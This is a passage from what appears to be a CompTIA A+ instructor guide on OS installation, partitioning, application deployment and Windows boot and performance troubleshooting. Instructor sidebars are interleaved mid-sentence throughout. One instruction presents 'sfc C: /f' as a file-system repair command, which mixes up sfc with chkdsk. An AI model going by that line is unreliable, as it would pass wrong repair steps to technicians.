that can be written to a physical DVD.

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Network Boot
Network boot setup means connecting to a shared folder containing the
installation files, which could be slipstreamed or use image deployment. The target
PC must have a usable partition on the hard disk in which to store temporary files.
There also needs to be some means of booting without having a suitably formatted
local drive present. Most computers now come with a Preboot eXecution
Environment (PXE)–compliant firmware and network adapter to support this boot
option. The client uses information provided via a Dynamic Host Configuration
Protocol (DHCP) server to locate a suitably configured server that holds the
installation files or images and starts the setup process.

Internet-Based Boot
A computer that supports network boot could also be configured to boot to setup
over the Internet. In this scenario, the local network’s DHCP server must be
configured to supply the DNS name of the installation server.
More commonly, most setup installers need to connect to the Internet to download
updates and optional packages.

OS installs and deployments are also commonly performed on virtual machines

operating in cloud environments. There are orchestration and automation tools
designed to facilitate this process.

Internal Hard Drive (Partition)

Once the OS has been installed, you will usually want to set the internal hard drive
as the default (highest priority) boot device, and disable any other boot devices. This
ensures the system doesn’t try to boot to the setup media again. If access to the
firmware setup program is secured, it also prevents someone from trying to install
a new OS without authorization.
In other scenarios, an internal partition may also be used as a recovery partition.
This boot method is discussed later in this topic.

Show Disk Configuration

Slide(s)
A mass storage device or fixed disk, such as hard disk drive (HDD) or solid-state
Disk Configuration
drive (SSD), requires partitioning and formatting before it can be used. Partition and
Teaching file system options can be chosen by responding to prompts in the setup program,
Tip configured in an answer file, or built into an image that is cloned to the target disk.
Describe the typical A partition is a logically separate storage area. You must create at least one partition
default choices for a on a fixed disk before performing a high-level format to create a file system.
clean install. Contrast
Windows and Linux in Information about partitions is stored on the disk itself in one of two types: master
this respect. boot record (MBR) or GUID [globally unique identifier] Partition Table (GPT).
Remind students
that we have already MBR-Style Partitioning
discussed file system
support, but basically The master boot record (MBR) partition style stores a partition table in the first
it’s FAT32 for the EFI 512-byte sector on the disk. With MBR-style, a given physical disk can contain up to
system drive and NTFS four primary partitions, any one of which can be marked as active, and therefore
for the boot volume
made bootable. This allows for four different drives on the same physical disk and
if installing Windows,
ext4, XFS, or ZFS for for multiple operating systems (a multiboot system). You might also use partitions
Linux and if installing to create discrete areas for user data file storage, storing log files, or hosting
APFS for macOS. databases. Each drive can be formatted with a different file system.

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If four drives are insufficient and GPT is not an option, one partition can be configured
as extended and divided into as many logical drives as needed. Extended partitions do
not have boot sectors and cannot be made active.

The start of each primary partition contains a boot sector, or partition boot record
(PBR). When a partition is marked as active, its boot sector is populated with a record
that points to the OS boot loader. In Windows, this active partition is also referred
to as the system partition or system reserved. The drive containing the Windows
operating system files is referred to as the boot partition. This can be on a logical
drive in an extended partition and does not have to be the same as the system drive.
When the disk uses MBR partitioning, the system firmware must be set to use the
legacy BIOS boot method. If the boot method is set to UEFI, the disk will not be
recognized as a boot device.

GPT-Style Partitioning
The globally unique identifier (GUID) partition table (GPT) style provides a more
up-to-date scheme to address some of the limitations of MBR. One of the features
of GPT is support for more than four primary partitions. Windows allows up to 128
partitions with GPT. GPT also supports larger partitions (2 TB+) and a backup copy
of the partition entries. A GPT-style disk includes a protective MBR for compatibility
with systems that do not recognize GPT.
When the disk uses GPT partitioning, the system firmware must be set to use the
UEFI boot method. If the boot method is set to BIOS, the disk will not be recognized
as a boot device.

Drive Format
An OS must be installed to a partition formatted using a compatible file system. For
Windows, this means using NTFS. macOS uses APFS and Linux can use ext3/ext4 or
a variety of other file system types. During an attended installation, partition and
formatting choices are guided by the setup program.

Default choices made by the guided setup program for Ubuntu Linux. Partition 1 holds the EFI
System Partition (ESP) bootloader. The other partition holds the root file system and is formatted
using ext4.

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Repair Installation
Show If a computer will not boot or if you are troubleshooting a problem such as slow
Slide(s) performance and cannot find a single cause, it may be necessary to perform some
Repair Installation sort of repair installation.

Teaching Recovery Partition

Tip
Summarize other
A factory recovery partition is a tool used by OEMs to restore the OS environment
reasons for to its ship state. The recovery partition is created on the internal fixed drive. If
performing an install/ the main installation fails to boot, the system firmware can be used to select the
upgrade, such as recovery partition to boot the system, then a simple wizard-driven process replaces
recovering a system the damaged installation. The recovery process can be started by pressing a key
that will not boot. during startup (F11 or CTRL+F11 are often used; a message is usually shown
on-screen).
OEM media will not usually recover user data or settings or reinstall third-party
applications—everything gets set back to the state in which the PC was shipped
from the factory. User data should be recovered from backup, which must be made
before the computer becomes unbootable.
The main disadvantages with OEM recovery media are that the tool only works if
the original hard disk is still installed in the machine and will not include patches or
service packs applied between the ship date and recovery date. The recovery image
also takes up quite a lot of space and users may not feel that they are getting the
disk capacity that they have paid for!

Reset Windows
Windows supports refresh and reset options to try to repair the installation. Using
refresh recopies the system files and reverts most system settings to the default
but can preserve user personalization settings, data files, and apps installed via
Windows Store. Desktop applications are removed.
Using the full reset option deletes the existing OS plus apps, settings, and data
ready for the OS to be reinstalled.

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Review Activity:
OS Installations and Upgrades
3

Answer the following questions: Show

Slide(s)
Review

1. You are supporting a home user with upgrading a computer from Teaching
Windows 10 to Windows 11. You have run Microsoft’s PC Health Tip
Check tool, and it verifies that the computer meets the hardware Take some time at
requirements. Should you now proceed with the in-place upgrade? the end of each topic
to answer questions.
No. You must backup user data and settings first. A backup is essential as a security You can use the
review questions
precaution. for discussion in
class or set them for
2. You are writing some work instructions to assist technicians with students to complete
deploying new user desktops via cloning. What type of installation and individually during or
boot method is this process most likely to use, and what are the boot after class.
requirements?

Cloning refers to the image deployment installation method. An image is a copy

of an existing installation saved as a single file. Image deployment could use USB
boot media (or even optical discs), but network boot is more likely. Network boot
requires a PXE-compatible network adapter and motherboard in the computer and
the boot device priority set to network/PXE. The network requires a Dynamic Host
Configuration Protocol (DHCP) server plus a remote network installation server to
run unattended setup and apply the image.

3. You are repurposing an old computer. You perform a clean OS install

using optical media. During setup, you configured the partition manager
to apply GPT style. After the file copy stage, the new installation fails to
boot. What is the likely cause?

The PC is set to boot using the legacy BIOS method. This is not compatible with
GPT-style partitioning. If supported by system firmware setup, switch to UEFI boot.
If the firmware is BIOS only, change the boot method back to optical disc, run setup
again, and choose MBR partitioning.

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Show
Slide(s)
Topic 13B
Install and Configure
Applications Install and Configure Applications
4

Teaching
Tip
CORE 2 EXAM OBJECTIVES COVERED
Again, this objective is 1.7 Given a scenario, apply application installation and configuration concepts.
not Windows-specific.
Aim the discussion
toward general
requirements rather An operating system on its own does not allow users to do useful work. Computers
than the specific
are productive devices because they run different kinds of software applications.
installer/package
manager tools. Do Installing and configuring third-party applications is a crucial part of the IT support
remind students of the role. In this topic, you will learn the tools and features used to follow best practices
distinction between for software management.
store-based apps
and independently
installed software. System Requirements for Applications
Show System requirements for applications refers to the PC specification required
Slide(s) to run third-party software. The app vendor should publish the requirements as
System Requirements support information.
for Applications
Central Processing Unit, System Memory, and Storage
Teaching Requirements
Tip
Explain that system Central Processing Unit (CPU) requirements refers to the performance and
requirements refers features of the computer’s main processor. Like operating systems, software
to the PC’s hardware applications can be developed as 32-bit or 64-bit software. Some apps may have
spec. Note that a both 32-bit and 64-bit versions. A 64-bit application requires a 64-bit CPU and OS
64-bit application
platform. It cannot be installed on a 32-bit platform. 32-bit software applications
cannot be installed to
a hardware platform can usually be installed on 64-bit platforms, however.
with 32-bit-only Some applications will define minimum requirements for the CPU generation,
support (conversely
a 64-bit platform can
clock speed, or number of cores. An application may also require a particular CPU
usually run 32-bit feature, such as hardware-assisted virtualization or a trusted platform module
software). (TPM).

If a required feature is not detected, check the system setup program to make sure it
hasn’t just been disabled.

There may also be a specific RAM requirement. This will generally assume that no
other foreground software will run at the same time. Running multiple programs
simultaneously will require more RAM.
Storage requirements refers to the amount of installation space the software will
take up on the fixed disk. Of course, you must also provision space for additional
file creation, such as user-generated data, temporary files, and log files.

Dedicated Graphics Card Requirements

A PC’s graphics subsystem can be implemented as a feature of either the CPU or
the motherboard chipset. This is referred to as integrated graphics. A demanding

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application, such as graphics design software or a game, is likely to require a

dedicated graphics card with its own video RAM, separate from the general
system RAM.

This computer’s graphics adapter does not meet the minimum specification, so setup cannot
proceed. (Screenshot courtesy of Microsoft.)

External Hardware Token Requirements

An app might have a requirement or recommendation for using a more secure
authentication method than a simple password. An external hardware token
is a smart card or USB form factor device that stores some cryptographic user
identification data. The user must present the token and supply a password, PIN, or
fingerprint scan to authenticate.

OS Requirements for Applications

Software apps also have OS requirements. One of these is application to OS Show
compatibility. Every software application is designed to run under a specific Slide(s)
operating system. When purchasing, you need to make sure you select the version OS Requirements for
for your OS. If you buy the macOS version, it will not run on Windows. Additionally, Applications
a software application might not be supported for use under newer operating
systems. For example, if you have been using version 1 of the Widget App on Teaching
Windows 7 and you subsequently upgrade to Windows 10, the Widget App might Tip
need to be upgraded to version 2 for full compatibility. Discuss compatibility
issues, such as
In Linux there are different package formats, but compatibility between distros products released for
is not generally an issue. Even if an app has not been released in a compatible legacy OS versions and
package for a specific distro, it can still be compiled from its source code manually. software availability
for different Linux
As noted above, if the application software is 64-bit, then the CPU and the OS must distributions. Explain
also both be 64-bit. If the application is 32-bit, it can be installed under either a that 64-bit software
32-bit or 64-bit platform. For example, many of the software applications available applications cannot
for Windows are still 32-bit. In 64-bit Windows, they run within a special application be installed to a 32-bit
OS, regardless of the
environment called WOW64 (Windows on Windows 64-bit). This environment
underlying hardware
replicates the 32-bit environment expected by the application and translates its platform.
requests into ones that can be processed by the 64-bit CPU, memory, and file
subsystems.

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In a 64-bit Windows environment, 32-bit application files are installed to

the Program Files (x86) folder, while 64-bit applications are
stored in Program Files (unless the user chooses custom installation
options). Windows' 64-bit shared system files (DLLs and EXEs) are stored in
%SystemRoot%\system32; that is, the same system folder as 32-bit
versions of Windows. Files for the 32-bit versions are stored in
%SystemRoot%\syswow64.

Distribution Methods
Show An app distribution method is the means by which the vendor makes it available
Slide(s) to install. Many apps are published through app stores, in which case the
Distribution Methods
installation mechanics are handled automatically.
Desktop applications are installed from a setup file. In Windows, these use either
.EXE or .MSI extensions. Apps for macOS can use DMG or PKG formats. Linux
packages use DEB packages with the APT package manager or RPM for YUM.
The setup file packs the application’s executable(s), configuration files, and media
files within it. During setup, the files are extracted and copied to a directory
reserved for use for application installation.
This type of setup file can be distributed on physical media, such as CD/DVD or a
USB thumb drive, or it could be downloaded from the Internet. When downloading
an installer from an Internet location, it is imperative to verify the authenticity and
integrity of the package and to scan it for malware. Windows uses a system of
digital signatures to identify valid developers and software sources. Linux software
is verified by publishing a hash value of the package. After download, you should
generate your own hash of the package and compare it to the value published by
the package maintainer.

Unknown publisher UAC notification. Unless you have other means of confirming that the installer
is a legitimate package, it is not safe to proceed with setup. (Screenshot courtesy of Microsoft.)

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As an alternative to physical media, an ISO file contains the contents of an optical disc
in a single file. ISO files stored on removable media or a host system are often used
to install virtual machine operating systems. A mountable ISO is often used to install
complex apps, such as databases, where there are many separate components and
large file sizes to install. In Windows, right-click an ISO file and select Mount. The ISO
file will appear in File Explorer with the next available drive letter.

Other Considerations
To maintain a secure and robust computing environment, potential impacts Show
from deploying new applications must be assessed and mitigated. It is important Slide(s)
that the IT department maintains control and oversight of all third-party software Other Considerations
installed to network hosts. Unsanctioned software and devices—shadow IT—raises
substantial operational and business risks. Teaching
Tip
Impact to Business Explain that
regardless of system
In a corporate environment, any application that is installed must also be requirements, a new
supported. application might have
adverse effects on
• Licensing—Commercial software must be used within the constraints of its
other apps and on the
license. This is likely to restrict either the number of devices on which the network.
software can be installed or the number of users that can access it. Installing
Discuss how apps can
unlicensed software exposes a company to financial and legal penalties. consume additional IT
support requirements,
• Support—Software might be available with paid-for support to obtain updates, such as training and
monitor and fix security issues, and provide technical assistance. Alternatively, user-support cases,
security monitoring and user assistance could be performed by internal staff, and how software
but the impact to IT operations still needs assessing. in an enterprise
environment must
• Training—Complex apps can have a substantial and expensive user-training be authorized and
requirement. This can be an ongoing cost as new versions can introduce monitored to prevent
risks from shadow IT.
interface or feature changes that require more training or new employees
require initial training. If the app is supported internally, there might also be
a technical training requirement to ensure that staff can provide support and
maintain the application in a secure state.

Impact to Operation
As well as the broader business impacts, a project to deploy a new application must
also consider impacts to operation. Where there are hundreds of desktops, the IT
department will need to use automated tools to deploy, update, and support the app.
When an organization wants to deploy an application to a number of desktops, it
is likely to use a network-based installer. In this scenario, the setup file is simply
copied to a shared folder on the network, and client computers run the setup file
from the network folder. In Windows, you can use policies—Group Policy Objects
(GPOs)—to set a computer to remotely install an application from a network folder
without any manual intervention from an administrator. Products such as centrally
managed antivirus suites often support “push” deployment tools to remotely install
the client or security sensor on each desktop.
One advantage of using a tool such as GPO to deploy applications is that a user
does not have to log on to the local client with administrator privileges. Writing/
modifying permissions over folders to which the application-executable files are
installed are restricted to administrator-level accounts. This prevents unauthorized
modification of the computer or the installation of programs that could threaten
security policies. The setup file for a deployed application can run using a service
account.

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To run an application, the user needs to be granted read/execute permission over

the application’s installation directory. Any files created using the application or
custom settings/preferences specific to a particular user should be saved to the
user’s home folder/profile rather than the application directory.

Impact to Device and to Network

When selecting applications for installation on desktops, proper security
considerations need to be made regarding potential impacts to the device
(computer) and to the network. The principal threat is that of a Trojan Horse; that
is, software whose true (malicious) purpose is concealed. Such malware is likely to
be configured to try to steal data or provide covert remote access to the host or
network once installed. A setup file could also be wittingly or unwittingly infected
with a computer virus. These security issues can be mitigated by ensuring that
software is only installed from trusted sources and that the installer code is digitally
signed by a reputable software publisher.
As well as overt malware threats, software could impact the stability and
performance of a computer or network. The software might consume more CPU
and memory resources than anticipated or use an excessive amount of network
bandwidth. There could be compatibility problems with other local or network
applications. The software could contain unpatched vulnerabilities that could allow
worm malware to propagate and crash the network. Ideally, applications should
be tested in a lab environment before being deployed more widely. Research any
security advisories associated with the software, and ensure that the developer has
a robust approach to identifying and resolving security issues.

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Review Activity:
Applications
5

Answer the following questions: Show

Slide(s)
Review

1. You are writing work instructions for third-party app deployments Teaching
using the CompTIA A+ objectives to guide you. In the section on system Tip
requirements for applications, you have covered the following topics: Take some time at
the end of each topic
• 32-bit- vs. 64-bit-dependent application requirements to answer questions.
You can use the
• Dedicated graphics card vs. integrated (VRAM requirements) review questions
for discussion in
• RAM requirements class or set them for
students to complete
• CPU requirements individually during or
after class.
• External hardware tokensWhat additional topic should you include,
if any?

Storage requirements. Each app takes up a certain amount of space when installed
to the fixed disk. Also, you must plan for user-generated file storage, temp files, log
files, and other data generated through use of the app.

2. You have downloaded an installer for a third-party app from the vendor’s
website. What should you do before proceeding with setup?

Verify the integrity of the download using a hash value or the vendor’s digital
certificate.

3. You are writing guidance for departmental managers to request new

software installs. You want each manager to consider impacts to the
business, operation, network, and devices as part of their request. In
terms of impacts to business, you have written guidance to consider
support and training requirements. What other topic should you include?

To consider licensing requirements, such as number of users or devices. There also

needs to be a system for monitoring license compliance and ensuring there are no
unauthorized installs.

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Topic 13C
Show
Slide(s) Troubleshoot Windows OS Problems
Troubleshoot 4

Windows OS Problems

Teaching CORE 2 EXAM OBJECTIVES COVERED

Tip 3.1 Given a scenario, troubleshoot common Windows OS problems.

The objective here is

focused on Windows,
but encourage An operating system such as Windows provides a lot of information to assist
students to think troubleshooting, through configuration utilities and event logs. Plenty of tools are
about the general
applicability of available to diagnose and recover from different kinds of problems. In this topic,
symptom diagnosis you will learn which tools and techniques can help to resolve some of the common
and troubleshooting Windows OS problem symptoms.
step/tool selection
to other OS
environments. Boot Process
Show When a computer starts, the firmware runs a power on self-test (POST) to verify
Slide(s) that the system components are present and functioning correctly. It then identifies
Boot Process a boot device and passes control to the operating system’s boot loader process.
With a legacy BIOS, the firmware scans the disk identified as the boot device
Teaching
and reads the master boot record (MBR) in the first sector of the disk. The MBR
Tip
identifies the boot sector for the partition marked as active. The boot sector loads
Recap the boot the boot manager, which for Windows is BOOTMGR.EXE. The boot manager reads
process from Core 1
information from the boot configuration data (BCD) file, which identifies operating
(or explain it if you
are completing Core 2 systems installed on the computer. BOOTMGR and the BCD are normally installed
before Core 1). to a hidden System Reserved partition.
Assuming there is only a single Windows installation, the boot manager loads the
Windows boot loader WINLOAD.EXE stored in the system root folder on the boot
partition.

If there is more than one OS installation, the boot manager shows a boot menu,
allowing the user to select the installation to boot.

WINLOAD then continues the Windows boot process by loading the kernel
(NTOSKRNL.EXE), the hardware abstraction layer (HAL.DLL), and boot device
drivers. Control is then passed to the kernel, which initializes and starts loading the
required processes. When complete, the WINLOGON process waits for the user to
authenticate.
With an EFI boot, the initial part of the boot process is different. Following POST, the
firmware reads the GUID partition table (GPT) on the boot device.
The GPT identifies the EFI System Partition. The EFI system partition contains the EFI
boot manager and the BCD. Each Windows installation has a subfolder under \EFI\
Microsoft\ that contains a BCD and BOOTMGFW.EFI.

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BOOTMGFW.EFI reads the BCD to identify whether to show a boot menu and to find
the location of WINLOAD.EFI. From this point, the Windows boot loader continues
the boot process by loading the kernel, as described previously.

Boot Recovery Tools

To troubleshoot boot issues, you need to use options and recovery tools to access Show
an environment in which to run tests and attempt fixes. Slide(s)
Boot Recovery Tools
Advanced Boot Options
Teaching
The Advanced Boot Options menu allows the selection of different startup
Tip
modes for troubleshooting. Startup options are displayed automatically if the
system cannot start the OS. You can also invoke the menu manually. With BIOS Summarize the use
of these tools without
boot, startup options are accessed by pressing F8 before the OS loads. With UEFI,
getting into too much
you need to reboot to show boot options. Hold the SHIFT key when selecting the detail. Students should
Restart option from the Power menu on the lock screen—note that you don’t have have the opportunity
to sign in to view the power menu. to learn their use
through lab work.

Windows 10 startup options. (Screenshot courtesy of Microsoft.)

Within startup options, from the first Choose an option screen, select
Troubleshoot. From the next screen, select Advanced options. Select Startup
Settings, and then on the next screen, select Restart.

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Windows 10 Startup Settings. (Screenshot courtesy of Microsoft.)

Press F4 to select Safe Mode, or choose another option as necessary. Safe Mode
loads only basic drivers and services required to start the system. This is a useful
troubleshooting mode as it isolates reliability or performance problems to add-in
drivers or application services and rules out having to fully reinstall Windows. It may
also be a means of running analysis and recovery tools, such as chkdsk, System
Restore, or antivirus utilities.

WinRE and Startup Repair

If you cannot boot the computer or access startup options from the local
installation, you can try booting from the product media, a repair disk, or a recovery
partition. You may have to access BIOS or UEFI setup to configure the recovery
media as the priority boot device.
If you don’t have the product media, you can make a system repair disk from
Windows using the Create a recovery drive setting. You need to have done this
before the computer starts failing to boot or create one using a working Windows
installation.
Once in the recovery environment, select the Troubleshoot menu and then
Advanced options. If the boot files are damaged, you can use the Startup Repair
option to try to fix them. You can also launch System Restore or restore from
an image backup, perform a refresh, or reset reinstallation of Windows from
here. The last two options are to run a memory diagnostic and to drop into the
Windows Recovery Environment (WinRE) command prompt, where you could
run commands such as diskpart, sfc, chkdsk, bootrec, bcdedit, or
regedit to try to repair the installation manually.

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Windows 10 Startup Troubleshooting—Advanced options. (Screenshot courtesy of Microsoft.)

System Restore
System Restore allows you to roll back from system configuration changes. System Show
Restore allows for multiple restore points to be maintained (some are created Slide(s)
automatically) and to roll back from changes to the whole registry and reverse System Restore
program installations and updates.

System Restore does not restore (or delete) user data files.

Configuring System Protection

Use the System Protection tab (opened via the advanced System settings) to
select which disk(s) to enable for system restore and configure how much disk
capacity is used. The disk must be formatted with NTFS, have a minimum of 300 MB
free space, and be over 1 GB in size.

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Configuring System Protection in Windows 10. (Screenshot courtesy of Microsoft.)

Restore points are created automatically in response to application and update

installs. They are also created periodically by Task Scheduler. Windows will try to
create one when it detects the PC is idle if no other restore points have been created
in the last seven days. You can also create a restore point manually from this dialog.

Using System Restore

To restore the system, open the System Restore tool (rstrui.exe). You can
also run System Restore by booting from the product disk or selecting Repair Your
Computer from the recovery environment.

Using System Restore to apply a previous system configuration. (Screenshot courtesy of Microsoft.)

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System Restore does not usually reset passwords (that is, passwords will remain as they
were before you ran the restore tool), but System Restore does reset passwords to what
they were at the time the restore point was created if you run it from the product disk.

Update and Driver Roll Back

If an update causes problems, you can try to uninstall it. You might be able to use Show
System Restore to do this. Otherwise, open the Programs and Features applet and Slide(s)
select View installed updates. Select the update, and then select the Uninstall
Update and Driver Roll
button. Back

Using Programs and Features to uninstall an update. (Screenshot courtesy of Microsoft.)

If you are experiencing problems with a device and you have recently updated
the driver, Windows also provides a Roll Back Driver feature. A new driver may
not work properly because it has not been fully tested, or it may not work on your
particular system. You can use Device Manager to revert to the previous driver.
Right-click the device and select Properties. Select the Driver tab, and then select
the Roll Back Driver button.

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Using driver rollback via Device Manager. (Screenshot courtesy of Microsoft.)

System Repair, Reinstall, and Reimage

Show If System Restore or Startup Repair does not work and you cannot boot to a
Slide(s) logon, you will have to use a system repair tool or possibly a reinstall option and
System Repair, restore from data backup (presuming you have made one). The various versions of
Reinstall, and Reimage Windows use different system recovery tools and backup processes.

Creating and Using a Recovery Image

You can make a complete backup of the system configuration and data files as an
image. This requires a backup device with sufficient capacity. The best compression
ratio you can hope for is 2:1—so a 20 GB system will create a 10 GB image—but
if the system contains a lot of files that are already heavily compressed, the
ratio could be a lot lower. You also have to keep the image up-to-date or make a
separate data backup.
You create a system image using the Backup and Restore applet in Control Panel.
Select the Create a system image link in the tasks pane.
To recover the system using the backup image, use the Advanced Boot Option or
the System Image Recovery option off a repair disk or recovery environment.

Reinstalling Windows
If you do not have an up-to-date image, the last option is to reinstall Windows using
the Reset this PC option in the recovery environment.

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Windows 10 startup recovery. (Screenshot courtesy of Microsoft.)

Select Keep my files or Remove everything as appropriate. The Keep my files

option can be used to repair the existing installation using either a local setup
cache or by downloading the files from Microsoft’s cloud servers. A reset recopies
the system files and reverts all PC settings to the default, but it can preserve user
personalization settings, data files, and apps installed via Windows Store. Desktop
applications are removed.
The computer will restart, and you will be prompted to sign on using an
administrator account to authorize the reinstallation. Select Reset to continue (or
Cancel if you have changed your mind).
If you choose to remove everything, there is a further option to securely delete
information from the drive. This will take several hours but is recommended if you
are giving up ownership of the PC.

Troubleshoot Boot Issues

Assuming there is no underlying hardware issue, the general technique for Show
troubleshooting boot problems is to determine the failure point, and therefore the Slide(s)
missing or corrupt file. This can then be replaced, either from the source files or by Troubleshoot Boot
using some sort of recovery disk. Issues

Failure to Boot/Invalid Boot Disk Teaching

Tip
If the system firmware returns an error message such as No boot device found
Explain how to
or Invalid boot disk, then the system has completely failed to boot. The most diagnose the probable
common cause of this error used to be leaving a floppy disk in the drive on a cause of OS boot
restart. A modern cause is for the system firmware to be set to use USB for boot. issues given different
Check for any removable disks, and change the boot device priority/boot order symptoms.
if necessary. If this message occurs when booting from a hard disk or SSD, check
the connections to the drive. If the error is transitory (for example, if the message
occurs a few times and then the PC starts to boot OK), it could be a sign that the
fixed disk is failing. On an older system, it could be that the system firmware is
having trouble detecting the drive.

No OS Found
A no OS found type message can appear when a disk drive is identified as the boot
device but does not report the location of the OS loader. This could indicate a faulty
disk, so try running disk diagnostics (if available), and then use a recovery option to
run chkdsk.

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If the disk cannot be detected, enter system setup, and try modifying settings
(or even resetting the default settings). If the disk’s presence is reported by the
system firmware but Windows still will not boot, use a startup repair tool to open a
recovery mode command prompt, and use the bootrec tool to try to repair the
drive’s boot information.
• Enter bootrec /fixmbr to attempt repair of the MBR. Do not use this option
if the disk uses GPT partitioning.

• Enter bootrec /fixboot to attempt repair of the boot sector.

• Enter bootrec /rebuildbcd to add missing Windows installations to the
boot configuration database (BCD).

You could also use diskpart to ensure that the system partition is marked as
active and that no other partitions have been marked as active.

Graphical Interface Fails to Load/Black Screen

If Windows appears to boot but does not display the sign-in screen or does not load
the desktop following logon, the likely causes are malware infection or corruption
of drivers or other system files. If the system will boot to a GUI in Safe Mode, then
replace the graphics adapter driver. If the system will not boot to a GUI at all, then
the Windows installation will probably have to be repaired or recovered from
backup. It is also possible that the boot configuration has been changed through
msconfig and just needs to be set back.
Windows is also sporadically prone to black screen issues, where nothing appears
on the screen. This will often occur during update installs, where the best course
of action is to give the system time to complete the update. Look for signs of
continuing disk activity and spinning dots appearing on the screen. If the system
does not recover from a black screen, then try searching for any currently known
issues on support and troubleshooting sites. You can use the key sequence
START+CTRL+SHIFT+B to test whether the system is responsive. There should be a
beep and the display may reinitialize.
If the problem occurs frequently, use chkdsk and sfc to verify system file
integrity. Also, consider either an update or rollback of the graphics adapter driver.

Troubleshoot Profile Issues

Show If Windows does boot, but only slowly, you need to try to identify what is
Slide(s) happening to delay the process. You can enable verbose status messages during
Troubleshoot Profile the Windows load sequence by configuring a system policy or applying a registry
Issues setting to enable Display highly detailed status messages.

Teaching
Delays affecting the system prior to sign-in are caused by loading drivers
Tip
and services. Quite often the culprit will be some type of network service or
configuration not working optimally, but there could be some sort of file corruption,
Discuss the complexity
of troubleshooting
too.
any issue where the If the system is slow to load the desktop following sign-in, the issue could be a
only symptom is
corrupt user profile. The registry settings file NTUSER.DAT is particularly prone
“slowness.” Encourage
students to think to this. Rebuilding a local user profile means creating a new account and then
about problem scope copying files from the old, corrupt profile to the new one, but excluding the
(one machine or following files: NTUSER.DAT, NTUSER.DAT.LOG, and NTUSER.INI.
multiple?).

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Troubleshoot Performance Issues

Sluggish performance can have many causes. Use the following general procedure to Show
try to quantify the degree to which the system is “slow” and identify probable causes: Slide(s)
1. Use Task Manager to determine if any resources are at 90–100% utilization, Troubleshoot
and then note which process is most active. You may need to identify a Performance Issues
particular Windows service running within a svchost.exe process. Windows Teaching
Update/Installer, the SuperFetch/Prefetch caching engine, Windows Telemetry Tip
data collection, Windows Search/Indexing, and Windows Defender (or third-
Distinguish user
party security software) are often the culprits. feedback about
“sluggishness”
2. Wait for these processes to complete—if there is a mix of CPU, memory, and from measurable
disk activity, then the process is probably operating normally, but slowly. If diagnosis tools. Again,
there is no disk activity or, conversely, if disk activity does not drop from 100%, encourage students
the process could have stalled. to think about scope
and context (when is
3. If the process or system continues to be unresponsive, you can either restart performance slow,
the service or kill the task process. and when did the
issue start?).
4. If ending the process doesn’t restore system performance, try rebooting the Explain how to
computer. The problem could be transitory and might not reoccur. distinguish between
resource-related and
configuration-related
Rather than simply rebooting, you might want to fully power down the machine, disconnect performance issues.
it from the supply for 30 seconds, and then power back on. This ensures that all data is For example, an
completely cleared from caches and system memory. application might be
slow to load because
the PC has insufficient
resources, or it might
5. If the service or process becomes unresponsive again after restarting, disable be slow because a
it (if possible) and check with the software vendor for any known problems. network drive is not
available and the
6. If Windows displays an error message such as Low memory, try running application hangs
fewer programs, and see if the issue can be isolated to one process. The trying to locate it.
software might have a memory leak fault that will need to be fixed by the
vendor. If the issue only occurs when the user tries to run more programs,
either the system will need to be fitted with more system RAM or the user will
need to lower his or her expectations for multitasking.

7. If Windows displays an error message such as Low disk space, use Disk Clean-up
to delete unnecessary files. If the problem keeps recurring, check for any unusual
behavior by an application, such as excessive logging or temp file creation. If you
can rule out these as issues, the system will need additional storage.

If you can’t identify overutilization as a probable cause, consider the following

troubleshooting techniques and solutions:
• Apply updates—Check for any missing Windows and application updates and
install the latest drivers for hardware devices.

• Defragment the hard drive—Running defrag regularly on a hard disk drive

(HDD) improves file I/O by putting files into contiguous clusters. Also make sure
there is sufficient free disk space.

• Verify OS and app hardware requirements, and add resources if

necessary—As well as consulting the official system requirements, check
resource utilization using Task Manager, Resource Monitor, or (for more
extended periods) Performance Monitor. If CPU, system memory, disk, or
network resources are continually stretched, then the system will have to be
upgraded. For example, Windows performance when installed to a hard disk is
not nearly as good as when installed to an SSD.

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• Disable startup items—Use the System Configuration Utility (msconfig) or

Task Manager to prevent unnecessary services and programs from running at
startup. If you need to run the services, consider setting them to delayed startup
or manual startup to avoid slowing down boot times too much. If a service is not
required and is causing problems, you can set it to Disabled to prevent it from
being started. Note that some security-critical services (such as Windows Update)
can be re-enabled automatically by the OS.

• Scan the computer for viruses and other malware, but also check the
configuration of antivirus software—While necessary to protect against
malware threats, security scanning software can reduce system performance.
Try disabling scanning temporarily to test whether performance improves. Make
sure the software is configured to exclude Windows system files it shouldn’t
scan, and configure any exceptions for software applications recommended by
the vendor. These typically include database files and the image files used for
virtual hard disks.

• Check for power management issues—If the user has been closing sessions
using sleep or hibernate, try restarting the computer. Verify that the system is
not operating in a power-saving mode (CPU throttling). Be aware that this might
have an underlying cause, such as overheating.

Troubleshoot System Fault Issues

Show A blue screen of death (BSoD) displays a Windows STOP error. A STOP error is one
Slide(s) that causes Windows to halt. STOP errors can occur when Windows loads or while
Troubleshoot System it is running. Most BSoDs, especially those that occur during startup, are caused
Fault Issues by faulty hardware or hardware drivers. Use the following procedures to try to
troubleshoot the issue:
Teaching
Tip
• Use System Restore or (if you can boot to Safe Mode) driver rollback, or update
rollback to restore the system to a working state.
Remind students
that overheating and • Remove a recently added hardware device, or uninstall a recently installed
component issues
(covered in Core 1) are
program.
frequently causes of
system faults.
• Check seating of hardware components and cables.

• Run hardware diagnostics, chkdsk, and scan for malware.

• Check fans and chassis vents for dust and clean if necessary.

• Make a note of the stop error code (which will be in the form: Stop: 0x0...), and
search the Microsoft Knowledge Base (support.microsoft.com/search) for known
fixes and troubleshooting tips. The various newsgroups accessible from this site
offer another valuable source of assistance.

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Blue Screen of Death (BSoD). (Screenshot courtesy of Microsoft.)

If the system auto restarts after a blue screen and you cannot read the error, open the
Advanced Options menu, and select the Disable automatic restarts option. This
option can also be set from Advanced System Properties > Startup and Recovery
Settings.

System Instability and Frequent Shutdowns

A system that exhibits instability will freeze, shutdown, reboot, or power off without
any sort of error message. This type of error suggests an overheating problem, a
power problem, a CPU/chipset/RAM issue, or corrupt kernel files.
Windows includes a Windows Memory Diagnostics tool to test memory chips
for errors. You can either run the tool from Administrative Tools or boot to the
recovery environment. The computer will restart and run the test. Press F1 if you
want to configure test options.
If errors are found, first check that all the memory modules are correctly seated.
Remove all the memory modules but one and retest. You should be able to identify
the faulty board by a process of elimination. If a known-good memory module is
reported faulty, the problem is likely to lie in the motherboard.
If you suspect file system corruption, use sfc C: to scan the boot volume. If the
tool reports errors, run sfc C: /f to attempt repairs.

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USB Issues
If there are issues with USB devices not working after connection, not working after
the computer resumes from sleep/hibernation, or generating warning messages,
make sure the controllers are using the latest driver:
